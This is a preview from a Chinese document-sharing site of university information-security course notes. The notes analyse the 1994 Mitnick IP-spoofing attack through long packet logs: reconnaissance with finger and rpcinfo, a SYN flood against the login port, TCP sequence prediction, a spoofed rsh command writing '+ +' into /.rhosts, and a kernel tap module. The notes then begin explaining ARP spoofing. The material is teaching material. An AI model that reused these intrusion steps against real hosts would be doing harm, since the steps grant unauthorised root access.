科学技术大学软件学院.DOC

上传人:天*** 文档编号:938755 上传时间:2018-11-08 格式:DOC 页数:62 大小:877.50KB
下载 相关 举报
科学技术大学软件学院.DOC_第1页
第1页 / 共62页
科学技术大学软件学院.DOC_第2页
第2页 / 共62页
科学技术大学软件学院.DOC_第3页
第3页 / 共62页
科学技术大学软件学院.DOC_第4页
第4页 / 共62页
科学技术大学软件学院.DOC_第5页
第5页 / 共62页
点击查看更多>>
资源描述

1、中国科学技术大学软件学院信息安全课程参考资料Mitnick 攻击IP spoofing 攻击是从 14:09:32 PST on 12/25/94 开始的.首先的探测来自 (来自数据包的记录):14:09:32 # finger -l target14:10:21 # finger -l server14:10:50 # finger -l rootserver14:11:07 # finger -l x-terminal14:11:38 # showmount -e x-terminal14:11:49 # rpcinfo -p x-terminal14:12:05 # finger -l

2、rootx-terminal这样的探测是为了查看在这些系统之中有什么信赖关系,借此可以发动 IP spoofing攻击.从 showmount 和 rpcinfo 的源端口可以看出是 的 root。 六分钟之后, 我们收到了大量的 TCP SYN 请求(TCP 连接的请求),是来自 130.92.6.97 到服务器 Server 上的 513 (login) 端口.这些 SYN 请求的目的就是堵塞 513端口的连接队列,使其成为半开连接状态,因此无法接受其它的新的连接请求。最主要的目标是,它是不会对那些 SYN-ACK 请求发送 TCP RST 回应的。513 端口是一个“特权”( serv

3、er.login: S 1382726960:1382726960(0) win 409614:18:22.566069 130.92.6.97.601 server.login: S 1382726961:1382726961(0) win 409614:18:22.744477 130.92.6.97.602 server.login: S 1382726962:1382726962(0) win 409614:18:22.830111 130.92.6.97.603 server.login: S 1382726963:1382726963(0) win 409614:18:22.886

4、128 130.92.6.97.604 server.login: S 1382726964:1382726964(0) win 409614:18:22.943514 130.92.6.97.605 server.login: S 1382726965:1382726965(0) win 409614:18:23.002715 130.92.6.97.606 server.login: S 1382726966:1382726966(0) win 409614:18:23.103275 130.92.6.97.607 server.login: S 1382726967:1382726967

5、(0) win 409614:18:23.162781 130.92.6.97.608 server.login: S 1382726968:1382726968(0) win 409614:18:23.225384 130.92.6.97.609 server.login: S 1382726969:1382726969(0) win 409614:18:23.282625 130.92.6.97.610 server.login: S 1382726970:1382726970(0) win 409614:18:23.342657 130.92.6.97.611 server.login:

6、 S 1382726971:1382726971(0) win 409614:18:23.403083 130.92.6.97.612 server.login: S 1382726972:1382726972(0) win 409614:18:23.903700 130.92.6.97.613 server.login: S 1382726973:1382726973(0) win 409614:18:24.003252 130.92.6.97.614 server.login: S 1382726974:1382726974(0) win 409614:18:24.084827 130.9

7、2.6.97.615 server.login: S 1382726975:1382726975(0) win 409614:18:24.142774 130.92.6.97.616 server.login: S 1382726976:1382726976(0) win 409614:18:24.203195 130.92.6.97.617 server.login: S 1382726977:1382726977(0) win 409614:18:24.294773 130.92.6.97.618 server.login: S 1382726978:1382726978(0) win 4

8、09614:18:24.382841 130.92.6.97.619 server.login: S 1382726979:1382726979(0) win 409614:18:24.443309 130.92.6.97.620 server.login: S 1382726980:1382726980(0) win 409614:18:24.643249 130.92.6.97.621 server.login: S 1382726981:1382726981(0) win 409614:18:24.906546 130.92.6.97.622 server.login: S 138272

9、6982:1382726982(0) win 409614:18:24.963768 130.92.6.97.623 server.login: S 1382726983:1382726983(0) win 409614:18:25.022853 130.92.6.97.624 server.login: S 1382726984:1382726984(0) win 409614:18:25.153536 130.92.6.97.625 server.login: S 1382726985:1382726985(0) win 409614:18:25.400869 130.92.6.97.62

10、6 server.login: S 1382726986:1382726986(0) win 409614:18:25.483127 130.92.6.97.627 server.login: S 1382726987:1382726987(0) win 409614:18:25.599582 130.92.6.97.628 server.login: S 1382726988:1382726988(0) win 409614:18:25.653131 130.92.6.97.629 server.login: S 1382726989:1382726989(0) win 4096服务器首先为

11、前 8 个 SYN 请求生成 SYN-ACK ,此时队列并没有排满 .服务器会不停的重复发送这些 SYN-ACK,这些半连接占用了 Server 的 TCP 连接资源,从而 Server 暂时不会接收新的 TCP 连接,更重要的是也不会对不请自来的 SYN-ACK 发送 RST.我们现在看到的是 20 个从 apollo.it.luc.edu 连接到 x-terminal.shell 的请求.这样做的目的就是为了正确预测 x-terminal 的 TCP 序列号.初始的序列号由于连接的增加而不断增加(并且是有规律的增加), 同时攻击者会注意到不去完成 TCP 三次握手。他通过发送 RST 而不

12、是 ACK 中断了 TCP 三次握手的完成 ,从而 x-terminal 上的 TCP 队列没有被排满:14:18:25.906002 apollo.it.luc.edu.1000 x-terminal.shell: S 1382726990:1382726990(0) win 409614:18:26.094731 x-terminal.shell apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 409614:18:26.172394 apollo.it.luc.edu.1000 x-terminal

13、.shell: R 1382726991:1382726991(0) win 014:18:26.507560 apollo.it.luc.edu.999 x-terminal.shell: S 1382726991:1382726991(0) win 409614:18:26.694691 x-terminal.shell apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 409614:18:26.775037 apollo.it.luc.edu.999 x-terminal.shell: R 13827

14、26992:1382726992(0) win 014:18:26.775395 apollo.it.luc.edu.999 x-terminal.shell: R 1382726992:1382726992(0) win 014:18:27.014050 apollo.it.luc.edu.998 x-terminal.shell: S 1382726992:1382726992(0) win 409614:18:27.174846 x-terminal.shell apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 138272699

15、3 win 409614:18:27.251840 apollo.it.luc.edu.998 x-terminal.shell: R 1382726993:1382726993(0) win 014:18:27.544069 apollo.it.luc.edu.997 x-terminal.shell: S 1382726993:1382726993(0) win 409614:18:27.714932 x-terminal.shell apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 409614:18

16、:27.794456 apollo.it.luc.edu.997 x-terminal.shell: R 1382726994:1382726994(0) win 014:18:28.054114 apollo.it.luc.edu.996 x-terminal.shell: S 1382726994:1382726994(0) win 409614:18:28.224935 x-terminal.shell apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 409614:18:28.305578 apol

17、lo.it.luc.edu.996 x-terminal.shell: R 1382726995:1382726995(0) win 014:18:28.564333 apollo.it.luc.edu.995 x-terminal.shell: S 1382726995:1382726995(0) win 409614:18:28.734953 x-terminal.shell apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 409614:18:28.811591 apollo.it.luc.edu.9

18、95 x-terminal.shell: R 1382726996:1382726996(0) win 014:18:29.074990 apollo.it.luc.edu.994 x-terminal.shell: S 1382726996:1382726996(0) win 409614:18:29.274572 x-terminal.shell apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 409614:18:29.354139 apollo.it.luc.edu.994 x-terminal.s

19、hell: R 1382726997:1382726997(0) win 014:18:29.354616 apollo.it.luc.edu.994 x-terminal.shell: R 1382726997:1382726997(0) win 014:18:29.584705 apollo.it.luc.edu.993 x-terminal.shell: S 1382726997:1382726997(0) win 409614:18:29.755054 x-terminal.shell apollo.it.luc.edu.993: S 2022720000:2022720000(0)

20、ack 1382726998 win 409614:18:29.840372 apollo.it.luc.edu.993 x-terminal.shell: R 1382726998:1382726998(0) win 014:18:30.094299 apollo.it.luc.edu.992 x-terminal.shell: S 1382726998:1382726998(0) win 409614:18:30.265684 x-terminal.shell apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999

21、win 409614:18:30.342506 apollo.it.luc.edu.992 x-terminal.shell: R 1382726999:1382726999(0) win 014:18:30.604547 apollo.it.luc.edu.991 x-terminal.shell: S 1382726999:1382726999(0) win 409614:18:30.775232 x-terminal.shell apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 409614:18:3

22、0.852084 apollo.it.luc.edu.991 x-terminal.shell: R 1382727000:1382727000(0) win 014:18:31.115036 apollo.it.luc.edu.990 x-terminal.shell: S 1382727000:1382727000(0) win 409614:18:31.284694 x-terminal.shell apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 409614:18:31.361684 apollo

23、.it.luc.edu.990 x-terminal.shell: R 1382727001:1382727001(0) win 014:18:31.627817 apollo.it.luc.edu.989 x-terminal.shell: S 1382727001:1382727001(0) win 409614:18:31.795260 x-terminal.shell apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 409614:18:31.873056 apollo.it.luc.edu.989

24、 x-terminal.shell: R 1382727002:1382727002(0) win 014:18:32.164597 apollo.it.luc.edu.988 x-terminal.shell: S 1382727002:1382727002(0) win 409614:18:32.335373 x-terminal.shell apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 409614:18:32.413041 apollo.it.luc.edu.988 x-terminal.she

25、ll: R 1382727003:1382727003(0) win 014:18:32.674779 apollo.it.luc.edu.987 x-terminal.shell: S 1382727003:1382727003(0) win 409614:18:32.845373 x-terminal.shell apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 409614:18:32.922158 apollo.it.luc.edu.987 x-terminal.shell: R 138272700

26、4:1382727004(0) win 014:18:33.184839 apollo.it.luc.edu.986 x-terminal.shell: S 1382727004:1382727004(0) win 409614:18:33.355505 x-terminal.shell apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 409614:18:33.435221 apollo.it.luc.edu.986 x-terminal.shell: R 1382727005:1382727005(0)

27、 win 014:18:33.695170 apollo.it.luc.edu.985 x-terminal.shell: S 1382727005:1382727005(0) win 409614:18:33.985966 x-terminal.shell apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 409614:18:34.062407 apollo.it.luc.edu.985 x-terminal.shell: R 1382727006:1382727006(0) win 014:18:34.

28、204953 apollo.it.luc.edu.984 x-terminal.shell: S 1382727006:1382727006(0) win 409614:18:34.375641 x-terminal.shell apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 409614:18:34.452830 apollo.it.luc.edu.984 x-terminal.shell: R 1382727007:1382727007(0) win 014:18:34.714996 apollo.i

29、t.luc.edu.983 x-terminal.shell: S 1382727007:1382727007(0) win 409614:18:34.885071 x-terminal.shell apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 409614:18:34.962030 apollo.it.luc.edu.983 x-terminal.shell: R 1382727008:1382727008(0) win 014:18:35.225869 apollo.it.luc.edu.982 x

30、-terminal.shell: S 1382727008:1382727008(0) win 409614:18:35.395723 x-terminal.shell apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 409614:18:35.472150 apollo.it.luc.edu.982 x-terminal.shell: R 1382727009:1382727009(0) win 014:18:35.735077 apollo.it.luc.edu.981 x-terminal.shell

31、: S 1382727009:1382727009(0) win 409614:18:35.905684 x-terminal.shell apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 409614:18:35.983078 apollo.it.luc.edu.981 x-terminal.shell: R 1382727010:1382727010(0) win 0注意每个 x-terminal 送出的 SYN-ACK 数据包通过 x-terminal 有个初始数列,并且都比前一个来的大.在攻击者获得

32、需要的资料后,我们看到一个伪造的 SYN (连接请求), 是从 server.login 送到 x-terminal.shell 的。设想服务器如果被 x-terminal 所信任, 那么 x-terminal 就可以利用了(甚至一些伪装的服务器)请求了.x-terminal 会对服务器回复一个 SYN-ACK, 只有收到 Server 的 ACK 才可以打开连接.服务器的 513 端口已经被 flood 攻击,因此不会做出响应。但攻击者还需要伪造来自server.login 的 ACK 数据包.通常情况下, ACK 数据包需要用到 SYN-ACK 的 sequence 号来生成有效的 ACK

33、.但是,在 1994 年,攻击者从前面的 20 个试探连接中,基于已知的 x-terminal 的 tcp 序列生成规律,已经可以预知包含在 SYN-ACK 中的 sequence 号,从而还可以构造 ACK 来回复并没有接收到的 SYN-ACK :14:18:36.245045 server.login x-terminal.shell: S 1382727010:1382727010(0) win 409614:18:36.755522 server.login x-terminal.shell: . ack 2024384001 win 4096现在攻击者已经冒充服务器 server 和

34、 x-terminal.shell 建立起了连接,它像下面这样给 x-terminal 发送了命令:14:18:37.265404 server.login x-terminal.shell: P 0:2(2) ack 1 win 409614:18:37.775872 server.login x-terminal.shell: P 2:7(5) ack 1 win 409614:18:38.287404 server.login x-terminal.shell: P 7:32(25) ack 1 win 4096相当于:14:18:37 server# rsh x-terminal “e

35、cho + + /.rhosts“从第一个 spoofed 的数据包共用了: x-terminal.shell: . ack 2 win 409614:18:42.255978 server.login x-terminal.shell: . ack 3 win 409614:18:43.165874 server.login x-terminal.shell: F 32:32(0) ack 3 win 409614:18:52.179922 server.login x-terminal.shell: R 1382727043:1382727043(0) win 409614:18:52.2

36、36452 server.login x-terminal.shell: R 1382727044:1382727044(0) win 4096我们现在看到 RST 释放了在 server.login 上的队列中的那些半连接和空连接:14:18:52.298431 130.92.6.97.600 server.login: R 1382726960:1382726960(0) win 409614:18:52.363877 130.92.6.97.601 server.login: R 1382726961:1382726961(0) win 409614:18:52.416916 130.9

37、2.6.97.602 server.login: R 1382726962:1382726962(0) win 409614:18:52.476873 130.92.6.97.603 server.login: R 1382726963:1382726963(0) win 409614:18:52.536573 130.92.6.97.604 server.login: R 1382726964:1382726964(0) win 409614:18:52.600899 130.92.6.97.605 server.login: R 1382726965:1382726965(0) win 4

38、09614:18:52.660231 130.92.6.97.606 server.login: R 1382726966:1382726966(0) win 409614:18:52.717495 130.92.6.97.607 server.login: R 1382726967:1382726967(0) win 409614:18:52.776502 130.92.6.97.608 server.login: R 1382726968:1382726968(0) win 409614:18:52.836536 130.92.6.97.609 server.login: R 138272

39、6969:1382726969(0) win 409614:18:52.937317 130.92.6.97.610 server.login: R 1382726970:1382726970(0) win 409614:18:52.996777 130.92.6.97.611 server.login: R 1382726971:1382726971(0) win 409614:18:53.056758 130.92.6.97.612 server.login: R 1382726972:1382726972(0) win 409614:18:53.116850 130.92.6.97.61

40、3 server.login: R 1382726973:1382726973(0) win 409614:18:53.177515 130.92.6.97.614 server.login: R 1382726974:1382726974(0) win 409614:18:53.238496 130.92.6.97.615 server.login: R 1382726975:1382726975(0) win 409614:18:53.297163 130.92.6.97.616 server.login: R 1382726976:1382726976(0) win 409614:18:

41、53.365988 130.92.6.97.617 server.login: R 1382726977:1382726977(0) win 409614:18:53.437287 130.92.6.97.618 server.login: R 1382726978:1382726978(0) win 409614:18:53.496789 130.92.6.97.619 server.login: R 1382726979:1382726979(0) win 409614:18:53.556753 130.92.6.97.620 server.login: R 1382726980:1382

42、726980(0) win 409614:18:53.616954 130.92.6.97.621 server.login: R 1382726981:1382726981(0) win 409614:18:53.676828 130.92.6.97.622 server.login: R 1382726982:1382726982(0) win 409614:18:53.736734 130.92.6.97.623 server.login: R 1382726983:1382726983(0) win 409614:18:53.796732 130.92.6.97.624 server.

43、login: R 1382726984:1382726984(0) win 409614:18:53.867543 130.92.6.97.625 server.login: R 1382726985:1382726985(0) win 409614:18:53.917466 130.92.6.97.626 server.login: R 1382726986:1382726986(0) win 409614:18:53.976769 130.92.6.97.627 server.login: R 1382726987:1382726987(0) win 409614:18:54.039039

44、 130.92.6.97.628 server.login: R 1382726988:1382726988(0) win 409614:18:54.097093 130.92.6.97.629 server.login: R 1382726989:1382726989(0) win 4096server.login 又可以接受连接请求了.恢复连接主要是防止管理员或其他的使用人员发现服务器的异常。通过 IP 地址 spoofing 成果获得 root 权限后,一个叫做“tap-2.01“的内核模块被 x-terminal 编译和安装:x-terminal% modstatId Type Loa

45、daddr Size B-major C-major Sysnum Mod Name1 Pdrv ff050000 1000 59. tap/tap-2.01 alphax-terminal% ls -l /dev/tapcrwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap这是一个出现在内核的 STREAMS 模块 ,可以访问已有的 STREAMS 堆栈和控制 tty device 上面的用户.?以上是 Mitnick 攻击的流程。他主要是利用了上世纪 90 年代 TCP 协议栈实现的弱点,如序列号顺序增加,以及利用 syn flooding 使得服务器

46、无法发送 RST 包实现了攻击。常用网络命令http:/vbird.dic.ksu.edu.tw/linux_server/0140networkcommand/0140networkcommand-centos4.php讲的很清楚;例子也多一、ARP 攻击原理ARP 协议是 “Address Resolution Protocol”(地址解析协议)的缩写。在局域网中,网络中实际传输的是“帧” ,帧里面是有目标主机的 MAC 地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的 MAC 地址。但这个目标 MAC 地址是如何获得的呢?它就是通过地址解析协议获得的。所谓“地

47、址解析”就是主机在发送帧前将目标 IP 地址转换成目标 MAC 地址的过程。ARP 协议的基本功能就是通过目标设备的 IP地址,查询目标设备的 MAC 地址,以保证通信的顺利进行。下面举个简单的例子: 假设 A 的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA 假设 B 的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB 那么根据上面的原理,我们简单说明这个过程:A 要和 B 通讯,A 就需要知道 B 的MAC 地址,于是 A 发送一个 ARP 请求广播(谁是 192.168.10.2 ,请告诉 192.168.10.1

48、) ,当 B 收到该广播,就检查自己,结果发现和自己的一致,然后就向 A 发送一个 ARP 单播应答(192.168.10.2 在 BB-BB-BB-BB-BB-BB) 。为减少查询次数和开销,每台安装有 TCP/IP 协议的计算机都有一个存放在缓存中的ARP 列表(ARP Cache) ,表内的 MAC 地址和 IP 地址是一一对应的,如下表所示。 主机 IP 地址 MAC 地址 A 192.168.16.1 aa-aa-aa-aa-aa-aa B 192.168.16.2 bb-bb-bb-bb-bb-bb C 192.168.16.3 cc-cc-cc-cc-cc-cc D 192.168.16.4 dd-dd-dd-dd-dd-dd 一台计算机 A 要与另一台计算机 B 进行通讯时, 它就会先在自

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 重点行业资料库 > 1

Copyright © 2018-2021 Wenke99.com All rights reserved

工信部备案号浙ICP备20026746号-2  

公安局备案号:浙公网安备33038302330469号

本站为C2C交文档易平台,即用户上传的文档直接卖给下载用户,本站只是网络服务中间平台,所有原创文档下载所得归上传人所有,若您发现上传作品侵犯了您的权利,请立刻联系网站客服并提供证据,平台将在3个工作日内予以改正。